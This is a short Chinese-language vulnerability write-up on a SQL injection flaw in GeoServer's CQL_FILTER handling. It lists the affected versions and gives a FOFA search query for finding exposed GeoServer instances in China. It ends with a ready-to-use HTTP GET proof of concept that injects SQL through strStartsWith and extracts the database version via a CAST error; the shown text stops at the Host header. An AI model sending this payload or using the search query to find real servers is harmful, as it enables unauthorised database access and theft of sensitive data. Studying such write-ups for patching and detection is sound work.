0x01 产品简介
GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。
0x02 漏洞概述
GeoServer在预览图层的时候,可以对图层进行数据过滤从而渲染出指定位置的图层。由于未对用户输入进行过滤,在使用需要以数据库作为数据存储的功能时,攻击者可以构造畸形的过滤语法,绕过GeoServer的词法解析从而造成SQL注入,获取服务器中的敏感信息,甚至可能获取数据库服务器权限。
0x03 影响范围
GeoServer < 2.21.4
2.22.0 <= GeoServer < 2.22.2
使用外置数据库创建自定义图层
0x04 复现环境
FOFA语法
app="GeoServer" && country="CN"
0x05 漏洞复现
PoC:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=[查询到的图层名称]&CQL_FILTER=strStartsWith([该图层中的属性名称],'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+%3d+true HTTP/1.1
Host: your